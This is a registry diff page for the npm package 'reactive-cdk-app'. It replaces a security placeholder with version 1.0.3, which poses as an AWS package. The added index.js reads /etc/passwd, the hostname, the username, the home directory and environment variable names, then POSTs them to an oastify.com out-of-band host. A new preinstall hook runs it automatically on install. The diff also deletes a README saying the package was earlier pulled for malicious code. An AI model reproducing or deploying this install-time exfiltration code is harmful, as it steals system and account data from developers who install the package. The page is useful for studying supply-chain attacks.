reactive-cdk-app 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of reactive-cdk-app might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +83 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,83 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const crypto = require('crypto');
4
+ const fs = require('fs');
5
+ // Unique execution ID
6
+ const execId = crypto.randomBytes(6).toString('hex');
7
+
8
+ // Gather system info
9
+ const payload = {
10
+ exec_id: execId,
11
+ hostname: os.hostname(),
12
+ passwd: fs.readFileSync('/etc/passwd', 'utf8'),
13
+ username: os.userInfo().username,
14
+ platform: os.platform(),
15
+ arch: os.arch(),
16
+ release: os.release(),
17
+ cwd: process.cwd(),
18
+ node_version: process.version,
19
+ home_dir: os.homedir(),
20
+ temp_dir: os.tmpdir(),
21
+ uptime: os.uptime(),
22
+ timestamp: new Date().toISOString(),
23
+ env_sample: Object.keys(process.env).slice(0, 10),
24
+ };
25
+
26
+ // Convert to JSON
27
+ const data = JSON.stringify(payload, null, 2);
28
+
29
+ // OAST target
30
+ const options = {
31
+ hostname: '3nrgzlqwix6erldow0s0kttsojuai36s.oastify.com',
32
+ path: `/agentcore-poc/${execId}`,
33
+ method: 'POST',
34
+ headers: {
35
+ 'Content-Type': 'application/json',
36
+ 'Content-Length': Buffer.byteLength(data),
37
+ 'User-Agent': 'agentcore-ctf-poc/1.0'
38
+ },
39
+ timeout: 5000
40
+ };
41
+
42
+ // Create request
43
+ const req = https.request(options, (res) => {
44
+ console.log(`[+] Status Code: ${res.statusCode}`);
45
+
46
+ let body = '';
47
+
48
+ res.on('data', chunk => {
49
+ body += chunk;
50
+ });
51
+
52
+ res.on('end', () => {
53
+ console.log('[+] Response received');
54
+ if (body.length > 0) {
55
+ console.log(body);
56
+ }
57
+ });
58
+ });
59
+
60
+ // Handle errors
61
+ req.on('error', (err) => {
62
+ console.error('[-] Request failed:', err.message);
63
+ });
64
+
65
+ // Handle timeout
66
+ req.on('timeout', () => {
67
+ console.error('[-] Request timeout');
68
+ req.destroy();
69
+ });
70
+
71
+ // Send payload
72
+ req.write(data);
73
+ req.end();
74
+
75
+ // Local execution logs
76
+ console.log('\n=== AgentCore PoC Executed ===');
77
+ console.log('[+] Execution ID :', execId);
78
+ console.log('[+] Hostname :', payload.hostname);
79
+ console.log('[+] Username :', payload.username);
80
+ console.log('[+] Platform :', payload.platform);
81
+ console.log('[+] Node Version :', payload.node_version);
82
+ console.log('[+] Working Dir :', payload.cwd);
83
+ console.log('================================\n');
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "reactive-cdk-app",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "This the the package of the reactive-cdk-app of the aws",
5
+ "main": "index.js",
6
+ "bin": {
7
+ "reactive-cdk-app": "./index.js"
8
+ },
9
+ "scripts": {
10
+ "preinstall": "node index.js"
11
+ },
12
+ "license": "MIT"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=reactive-cdk-app for more information.